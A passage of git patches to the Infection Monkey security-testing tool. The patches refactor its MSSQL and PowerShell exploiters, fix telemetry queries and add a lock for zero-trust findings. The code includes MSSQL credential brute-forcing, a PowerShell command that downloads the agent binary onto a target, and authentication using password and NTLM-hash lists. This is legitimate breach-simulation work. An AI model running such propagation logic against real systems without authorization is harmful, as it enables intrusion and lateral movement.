insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index c2a7e7066..6b2edc13e 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -142,7 +142,7 @@ class ReportService: @staticmethod def get_exploits() -> List[dict]: query = [ - {"$match": {"telem_category": "exploit", "data.result": True}}, + {"$match": {"telem_category": "exploit", "data.exploitation_result": True}}, { "$group": { "_id": {"ip_address": "$data.machine.ip_addr"}, From adc1010355d7c774cccc75de589d0888d7fffeec Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 10 Mar 2022 18:43:01 +0100 Subject: [PATCH 0713/1110] Island: Fix mongo query in telemetry processing --- monkey/monkey_island/cc/resources/monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py index b32ecbb83..07e96a4b3 100644 --- a/monkey/monkey_island/cc/resources/monkey.py +++ b/monkey/monkey_island/cc/resources/monkey.py @@ -96,7 +96,7 @@ class Monkey(flask_restful.Resource): for x in mongo.db.telemetry.find( { "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, + "data.exploitation_result": {"$eq": True}, "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, "monkey_guid": {"$eq": parent}, } @@ -117,7 +117,7 @@ class Monkey(flask_restful.Resource): for x in mongo.db.telemetry.find( { "telem_category": {"$eq": "exploit"}, - "data.result": {"$eq": True}, + "data.exploitation_result": {"$eq": True}, "data.machine.ip_addr": {"$in": monkey_json["ip_addresses"]}, } ) From 4fcb28516de560d1b5864040c6f86808d931262a Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 10 Mar 2022 18:43:49 +0100 Subject: [PATCH 0714/1110] Island: Remove usage of deleted add_credentials_to_node function --- .../cc/services/telemetry/processing/exploit.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py index da46cdcc7..dc5b2e638 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -18,7 +18,6 @@ def process_exploit_telemetry(telemetry_json): encrypt_exploit_creds(telemetry_json) edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) update_network_with_exploit(edge, telemetry_json) - update_node_credentials_from_successful_attempts(edge, telemetry_json) check_machine_exploited( current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json["monkey_guid"]), @@ -29,16 +28,6 @@ def process_exploit_telemetry(telemetry_json): ) -def update_node_credentials_from_successful_attempts(edge: EdgeService, telemetry_json): - for attempt in telemetry_json["data"]["attempts"]: - if attempt["result"]: - found_creds = {"user": attempt["user"]} - for field in ["password", "lm_hash", "ntlm_hash", "ssh_key"]: - if len(attempt[field]) != 0: - found_creds[field] = attempt[field] - NodeService.add_credentials_to_node(edge.dst_node_id, found_creds) - - def update_network_with_exploit(edge: EdgeService, telemetry_json): telemetry_json["data"]["info"]["started"] = dateutil.parser.parse( telemetry_json["data"]["info"]["started"] From 50a8bf8f4acd3764132b909ae8163cdef4d6e2d8 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Mar 2022 12:11:28 +0200 Subject: [PATCH 0715/1110] Agent: Refactor mssqlexec.py to fit the new puppet infrastructure --- monkey/infection_monkey/exploit/mssqlexec.py | 57 +++++++++++-------- .../exploit/tools/http_tools.py | 4 +- 2 files changed, 35 insertions(+), 26 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index a3b6d8191..6247f3779 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -5,13 +5,17 @@ from time import sleep import pymssql +from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_monkey_dest_path -from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer +from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey +from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload +from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.model import DROPPER_ARG +from infection_monkey.transport import LockedHTTPServer +from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline logger = logging.getLogger(__name__) @@ -42,25 +46,26 @@ class MSSQLExploiter(HostExploiter): "DownloadFile(^'{http_path}^' , ^'{dst_path}^')" ) - def __init__(self, host): - super(MSSQLExploiter, self).__init__(host) + def __init__(self): + super().__init__() self.cursor = None - self.monkey_server = None + self.agent_http_path = None self.payload_file_path = os.path.join( MSSQLExploiter.TMP_DIR_PATH, MSSQLExploiter.TMP_FILE_NAME ) - def _exploit_host(self): + def _exploit_host(self) -> ExploiterResultData: """ First this method brute forces to get the mssql connection (cursor). Also, don't forget to start_monkey_server() before self.upload_monkey() and self.stop_monkey_server() after """ # Brute force to get connection - username_passwords_pairs_list = self._config.get_exploit_user_password_pairs() - self.cursor = self.brute_force( - self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list + creds = generate_identity_secret_pairs( + self.options["credentials"]["exploit_user_list"], + self.options["credentials"]["exploit_password_list"], ) + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) # Create dir for payload self.create_temp_dir() @@ -68,9 +73,9 @@ class MSSQLExploiter(HostExploiter): try: self.create_empty_payload_file() - self.start_monkey_server() + http_thread = self.start_monkey_server() self.upload_monkey() - self.stop_monkey_server() + MSSQLExploiter._stop_monkey_server(http_thread) # Clear payload to pass in another command self.create_empty_payload_file() @@ -81,7 +86,8 @@ class MSSQLExploiter(HostExploiter): except Exception as e: raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) - return True + self.exploit_result.propagation_success = True + return self.exploit_result def run_payload_file(self): file_running_command = MSSQLLimitedSizePayload(self.payload_file_path) @@ -132,12 +138,17 @@ class MSSQLExploiter(HostExploiter): ) self.run_mssql_command(tmp_dir_removal_command) - def start_monkey_server(self): - self.monkey_server = MonkeyHTTPServer(self.host) - self.monkey_server.start() + def start_monkey_server(self) -> LockedHTTPServer: + monkey_src = try_get_target_monkey(self.host) + self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, monkey_src, self.agent_repository + ) + return http_thread - def stop_monkey_server(self): - self.monkey_server.stop() + @staticmethod + def _stop_monkey_server(http_thread): + http_thread.stop() + http_thread.join(LONG_REQUEST_TIMEOUT) def write_download_command_to_payload(self): monkey_download_command = self.get_monkey_download_command() @@ -145,9 +156,9 @@ class MSSQLExploiter(HostExploiter): return monkey_download_command def get_monkey_launch_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + dst_path = get_monkey_dest_path(self.agent_http_path) # Form monkey's launch command - monkey_args = build_monkey_commandline(self.host, get_monkey_depth() - 1, dst_path) + monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX return MSSQLLimitedSizePayload( @@ -157,9 +168,9 @@ class MSSQLExploiter(HostExploiter): ) def get_monkey_download_command(self): - dst_path = get_monkey_dest_path(self.monkey_server.http_path) + dst_path = get_monkey_dest_path(self.agent_http_path) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( - http_path=self.monkey_server.http_path, dst_path=dst_path + http_path=self.agent_http_path, dst_path=dst_path ) prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format( @@ -194,9 +205,9 @@ class MSSQLExploiter(HostExploiter): host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT ) logger.info( - "Successfully connected to host: {0}, using user: {1}, password (" - "SHA-512): {2}".format(host, user, self._config.hash_sensitive_data(password)) + f"Successfully connected to host: {host} using user: {user} and password" ) + self.exploit_result.exploitation_success = True self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT) self.report_login_attempt(True, user, password) cursor = conn.cursor() diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index 467539180..43d62862f 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -1,6 +1,4 @@ import logging -import os -import os.path import urllib.error import urllib.parse import urllib.request @@ -30,7 +28,7 @@ class HTTPTools(object): @staticmethod def create_locked_transfer( host, dropper_target_path, agent_repository, local_ip=None, local_port=None - ): + ) -> LockedHTTPServer: """ Create http server for file transfer with a lock :param host: Variable with target's information From ae8e0b6dbbf7474c6bec7e7533308f9264b9ab14 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 14 Mar 2022 12:10:08 +0000 Subject: [PATCH 0716/1110] Agent: Refactor mssqlexec.py to use agent repository --- monkey/infection_monkey/exploit/mssqlexec.py | 10 +++--- .../infection_monkey/exploit/tools/helpers.py | 36 +++++-------------- 2 files changed, 13 insertions(+), 33 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 6247f3779..f1fdcd460 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, try_get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path, try_get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData @@ -139,9 +139,9 @@ class MSSQLExploiter(HostExploiter): self.run_mssql_command(tmp_dir_removal_command) def start_monkey_server(self) -> LockedHTTPServer: - monkey_src = try_get_target_monkey(self.host) + dst_path = get_agent_dest_path(self.host, self.options) self.agent_http_path, http_thread = HTTPTools.create_locked_transfer( - self.host, monkey_src, self.agent_repository + self.host, dst_path, self.agent_repository ) return http_thread @@ -156,7 +156,7 @@ class MSSQLExploiter(HostExploiter): return monkey_download_command def get_monkey_launch_command(self): - dst_path = get_monkey_dest_path(self.agent_http_path) + dst_path = get_agent_dest_path(self.host, self.options) # Form monkey's launch command monkey_args = build_monkey_commandline(self.host, self.current_depth - 1, dst_path) suffix = ">>{}".format(self.payload_file_path) @@ -168,7 +168,7 @@ class MSSQLExploiter(HostExploiter): ) def get_monkey_download_command(self): - dst_path = get_monkey_dest_path(self.agent_http_path) + dst_path = get_agent_dest_path(self.host, self.options) monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.format( http_path=self.agent_http_path, dst_path=dst_path ) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index d0af82304..62cfda4da 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,4 +1,7 @@ import logging +from typing import Mapping, Any + +from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) @@ -26,31 +29,8 @@ def get_monkey_depth(): return WormConfiguration.depth -def get_monkey_dest_path(url_to_monkey): - """ - Gets destination path from monkey's source url. - :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-64.exe - :return: Corresponding monkey path from configuration - """ - from infection_monkey.config import WormConfiguration - - if not url_to_monkey or ("linux" not in url_to_monkey and "windows" not in url_to_monkey): - logger.error("Can't get destination path because source path %s is invalid.", url_to_monkey) - return False - try: - if "linux" in url_to_monkey: - return WormConfiguration.dropper_target_path_linux - elif "windows-64" in url_to_monkey: - return WormConfiguration.dropper_target_path_win_64 - else: - logger.error( - "Could not figure out what type of monkey server was trying to upload, " - "thus destination path can not be chosen." - ) - return False - except AttributeError: - logger.error( - "Seems like monkey's source configuration property names changed. " - "Can not get destination path to upload monkey" - ) - return False +def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: + if host.os["type"] == "windows": + return options["dropper_target_path_win_64"] + else: + return options["dropper_target_path_linux"] From 14953c8cdd678462fe0cf8048e0b033029b73710 Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 14 Mar 2022 12:11:00 +0000 Subject: [PATCH 0717/1110] Agent: register MSSQL exploiter plugin on the puppet --- monkey/infection_monkey/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6313b2208..8a79a2f35 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -18,6 +18,7 @@ from infection_monkey.credential_collectors import ( from infection_monkey.exploit import CachingAgentRepository, ExploiterWrapper from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter +from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -222,6 +223,7 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) + puppet.load_plugin("MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER) puppet.load_plugin( "ZerologonExploiter", exploit_wrapper.wrap(ZerologonExploiter), From 29e494cfb153e7cbf840c45d6325bb8acde47add Mon Sep 17 00:00:00 2001 From: vakaris_zilius Date: Mon, 14 Mar 2022 13:16:41 +0000 Subject: [PATCH 0718/1110] Island: Fix a ZT multiple findings bug A bug happened in zero trust findings: since multiple exploiters run at the same time, they send telemetries at the same time and those telemetries get parsed at the same time. So multiple threads fetch ZT findings at once, finds none and creates duplicate findings. With this bugfix only one thread can fetch for findings at a time. This means that one thread creates the finding and others fetch it and just add events to it --- .../monkey_zt_finding_service.py | 24 ++++++++++++------- 1 file changed, 15 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index 6c8063eca..53f3e44a9 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -1,6 +1,7 @@ from typing import List from bson import ObjectId +from gevent.lock import BoundedSemaphore from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event @@ -9,6 +10,10 @@ from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFind class MonkeyZTFindingService: + + # Required to synchronize db state between different threads + _finding_lock = BoundedSemaphore() + @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ @@ -20,16 +25,17 @@ class MonkeyZTFindingService: the query - this is not when this function should be used. """ - existing_findings = list(MonkeyFinding.objects(test=test, status=status)) - assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( - test, status - ) + with MonkeyZTFindingService._finding_lock: + existing_findings = list(MonkeyFinding.objects(test=test, status=status)) + assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( + test, status + ) - if len(existing_findings) == 0: - MonkeyZTFindingService.create_new_finding(test, status, events) - else: - # Now we know for sure this is the only one - MonkeyZTFindingService.add_events(existing_findings[0], events) + if len(existing_findings) == 0: + MonkeyZTFindingService.create_new_finding(test, status, events) + else: + # Now we know for sure this is the only one + MonkeyZTFindingService.add_events(existing_findings[0], events) @staticmethod def create_new_finding(test: str, status: str, events: List[Event]): From 66ee3527d25d948eb8837f898a69a5c925959e37 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 14 Mar 2022 15:40:04 +0200 Subject: [PATCH 0719/1110] Agent: Pre-commit hook fixes on MSSQL exploiter infrastructure --- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/tools/helpers.py | 2 +- monkey/infection_monkey/monkey.py | 4 +++- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index f1fdcd460..1272bfa3c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -9,7 +9,7 @@ from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_agent_dest_path, try_get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.http_tools import HTTPTools from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload from infection_monkey.i_puppet import ExploiterResultData diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 62cfda4da..7a72606bf 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -1,5 +1,5 @@ import logging -from typing import Mapping, Any +from typing import Any, Mapping from infection_monkey.model import VictimHost diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8a79a2f35..cea09ff45 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -223,7 +223,9 @@ class InfectionMonkey: ) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) - puppet.load_plugin("MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER) + puppet.load_plugin( + "MSSQLExploiter", exploit_wrapper.wrap(MSSQLExploiter), PluginType.EXPLOITER + ) puppet.load_plugin( "ZerologonExploiter", exploit_wrapper.wrap(ZerologonExploiter), From 1f327a13059d2220b5874b8b256081d78ab12075 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Mar 2022 08:51:22 +0200 Subject: [PATCH 0720/1110] Agent: Improve exception handling in mssqlexec.py --- monkey/common/utils/exceptions.py | 4 --- monkey/infection_monkey/exploit/mssqlexec.py | 32 +++++++++++--------- 2 files changed, 17 insertions(+), 19 deletions(-) diff --git a/monkey/common/utils/exceptions.py b/monkey/common/utils/exceptions.py index fc114781d..2a0e369e9 100644 --- a/monkey/common/utils/exceptions.py +++ b/monkey/common/utils/exceptions.py @@ -1,7 +1,3 @@ -class ExploitingVulnerableMachineError(Exception): - """ Raise when exploiter failed, but machine is vulnerable """ - - class FailedExploitationError(Exception): """ Raise when exploiter fails instead of returning False """ diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 1272bfa3c..ab9cfc8dd 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -1,12 +1,11 @@ import logging import os -import sys from time import sleep import pymssql from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT -from common.utils.exceptions import ExploitingVulnerableMachineError, FailedExploitationError +from common.utils.exceptions import FailedExploitationError from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dest_path @@ -65,26 +64,29 @@ class MSSQLExploiter(HostExploiter): self.options["credentials"]["exploit_user_list"], self.options["credentials"]["exploit_password_list"], ) - self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + try: + self.cursor = self.brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds) + except FailedExploitationError: + logger.info( + f"Failed brute-forcing of MSSQL server on {self.host}," + f" no credentials were successful" + ) + return self.exploit_result # Create dir for payload self.create_temp_dir() + self.create_empty_payload_file() - try: - self.create_empty_payload_file() + http_thread = self.start_monkey_server() + self.upload_monkey() + MSSQLExploiter._stop_monkey_server(http_thread) - http_thread = self.start_monkey_server() - self.upload_monkey() - MSSQLExploiter._stop_monkey_server(http_thread) + # Clear payload to pass in another command + self.create_empty_payload_file() - # Clear payload to pass in another command - self.create_empty_payload_file() + self.run_monkey() - self.run_monkey() - - self.remove_temp_dir() - except Exception as e: - raise ExploitingVulnerableMachineError(e.args).with_traceback(sys.exc_info()[2]) + self.remove_temp_dir() self.exploit_result.propagation_success = True return self.exploit_result From 43c85284093a3c96b00678a85fd7308e42364e49 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 15 Mar 2022 14:10:35 +0200 Subject: [PATCH 0721/1110] Agent: Handle unexpected errors in mssqlexec.py --- monkey/infection_monkey/exploit/mssqlexec.py | 27 ++++++++++++-------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index ab9cfc8dd..0b18e824c 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -73,20 +73,27 @@ class MSSQLExploiter(HostExploiter): ) return self.exploit_result - # Create dir for payload - self.create_temp_dir() - self.create_empty_payload_file() + try: + # Create dir for payload + self.create_temp_dir() + self.create_empty_payload_file() - http_thread = self.start_monkey_server() - self.upload_monkey() - MSSQLExploiter._stop_monkey_server(http_thread) + http_thread = self.start_monkey_server() + self.upload_monkey() + MSSQLExploiter._stop_monkey_server(http_thread) - # Clear payload to pass in another command - self.create_empty_payload_file() + # Clear payload to pass in another command + self.create_empty_payload_file() - self.run_monkey() + self.run_monkey() - self.remove_temp_dir() + self.remove_temp_dir() + except Exception as e: + logger.error( + f"Unhandled exception occurred when trying " + f"to exploit MSSQL on host {self.host}: {e}" + ) + return self.exploit_result self.exploit_result.propagation_success = True return self.exploit_result From 62005e6f8894df9a53cec17916549935b0a6c895 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 15 Mar 2022 08:41:23 -0400 Subject: [PATCH 0722/1110] Agent: Store MSSQLExploiter error message in self.exploit_result --- monkey/infection_monkey/exploit/mssqlexec.py | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 0b18e824c..220268b76 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -89,10 +89,14 @@ class MSSQLExploiter(HostExploiter): self.remove_temp_dir() except Exception as e: - logger.error( - f"Unhandled exception occurred when trying " + error_message = ( + f"An unexpected error occurred when trying " f"to exploit MSSQL on host {self.host}: {e}" ) + + logger.error(error_message) + self.exploit_result.error_message = error_message + return self.exploit_result self.exploit_result.propagation_success = True From 7155896caa9c449a21273f8b13de88a217bb7240 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Mar 2022 17:23:20 +0530 Subject: [PATCH 0723/1110] Agent: Remove PowerShell exploiter's dependency on WormConfiguration --- monkey/infection_monkey/exploit/powershell.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 324ed0495..23c5cb39e 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -52,10 +52,10 @@ class PowerShellExploiter(HostExploiter): return False credentials = get_credentials( - self._config.exploit_user_list, - self._config.exploit_password_list, - self._config.exploit_lm_hash_list, - self._config.exploit_ntlm_hash_list, + self.options["credentials"]["exploit_user_list"], + self.options["credentials"]["exploit_password_list"], + self.options["credentials"]["exploit_lm_hash_list"], + self.options["credentials"]["exploit_ntlm_hash_list"], is_windows_os(), ) auth_options = [get_auth_options(creds, use_ssl) for creds in credentials] @@ -155,7 +155,7 @@ class PowerShellExploiter(HostExploiter): monkey_path_on_victim = ( self._config.dropper_target_path_win_32 if self.is_32bit - else self._config.dropper_target_path_win_64 + else self.options["dropper_target_path_win_64"] ) is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) From 7d25bf711a80d9650d747a107f00de1a9b11c541 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Mar 2022 19:23:00 +0530 Subject: [PATCH 0724/1110] Agent: Remove arch checks from PowerShell exploiter --- monkey/infection_monkey/exploit/powershell.py | 11 +---------- .../exploit/powershell_utils/powershell_client.py | 15 +-------------- 2 files changed, 2 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index 23c5cb39e..4e48df891 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -3,7 +3,6 @@ import os from typing import List, Optional from common.utils.exploit_enum import ExploitType -from infection_monkey.exploit.consts import WIN_ARCH_32 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils.auth_options import ( AUTH_NEGOTIATE, @@ -148,15 +147,7 @@ class PowerShellExploiter(HostExploiter): raise ValueError(f"Unknown secret type {credentials.secret_type}") def _execute_monkey_agent_on_victim(self) -> bool: - arch = self._client.get_host_architecture() - self.is_32bit = arch == WIN_ARCH_32 - logger.debug(f"Host architecture is {arch}") - - monkey_path_on_victim = ( - self._config.dropper_target_path_win_32 - if self.is_32bit - else self.options["dropper_target_path_win_64"] - ) + monkey_path_on_victim = self.options["dropper_target_path_win_64"] is_monkey_copy_successful = self._copy_monkey_binary_to_victim(monkey_path_on_victim) if is_monkey_copy_successful: diff --git a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py index 6727ac67c..f3f65deb9 100644 --- a/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py +++ b/monkey/infection_monkey/exploit/powershell_utils/powershell_client.py @@ -1,6 +1,6 @@ import abc import logging -from typing import Optional, Union +from typing import Optional import pypsrp import spnego @@ -10,10 +10,8 @@ from pypsrp.powershell import PowerShell, RunspacePool from typing_extensions import Protocol from urllib3 import connectionpool -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credentials import Credentials, SecretType -from infection_monkey.model import GET_ARCH_WINDOWS logger = logging.getLogger(__name__) @@ -60,10 +58,6 @@ class IPowerShellClient(Protocol, metaclass=abc.ABCMeta): def execute_cmd(self, cmd: str) -> str: pass - @abc.abstractmethod - def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - pass - @abc.abstractmethod def copy_file(self, src: str, dest: str) -> bool: pass @@ -93,13 +87,6 @@ class PowerShellClient(IPowerShellClient): output, _, _ = self._client.execute_cmd(cmd) return output - def get_host_architecture(self) -> Union[WIN_ARCH_32, WIN_ARCH_64]: - stdout, _, _ = self._client.execute_cmd(GET_ARCH_WINDOWS) - if "64-bit" in stdout: - return WIN_ARCH_64 - - return WIN_ARCH_32 - def copy_file(self, src: str, dest: str) -> bool: try: self._client.copy(src, dest) From 25f90c84bc43e720c82cfbbd465c71a18e7e9d75 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Fri, 11 Mar 2022 19:28:13 +0530 Subject: [PATCH 0725/1110] UT: Remove arch stuff from PowerShell exploiter tests --- .../infection_monkey/exploit/test_powershell.py | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 10d2e6e1d..73ab7b7bc 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -4,7 +4,6 @@ from unittest.mock import MagicMock import pytest from infection_monkey.exploit import powershell -from infection_monkey.exploit.consts import WIN_ARCH_32, WIN_ARCH_64 from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions from infection_monkey.exploit.powershell_utils.credentials import Credentials from infection_monkey.model.host import VictimHost @@ -115,26 +114,20 @@ def authenticate(mock_client): return inner -@pytest.mark.parametrize( - "dropper_target_path,arch", - [(DROPPER_TARGET_PATH_32, WIN_ARCH_32), (DROPPER_TARGET_PATH_64, WIN_ARCH_64)], -) -def test_successful_copy(monkeypatch, powershell_exploiter, dropper_target_path, arch): +def test_successful_copy(monkeypatch, powershell_exploiter): mock_client = MagicMock() - mock_client.return_value.get_host_architecture = lambda: arch mock_client.return_value.copy_file = MagicMock(return_value=True) monkeypatch.setattr(powershell, "PowerShellClient", mock_client) success = powershell_exploiter.exploit_host() - assert dropper_target_path in 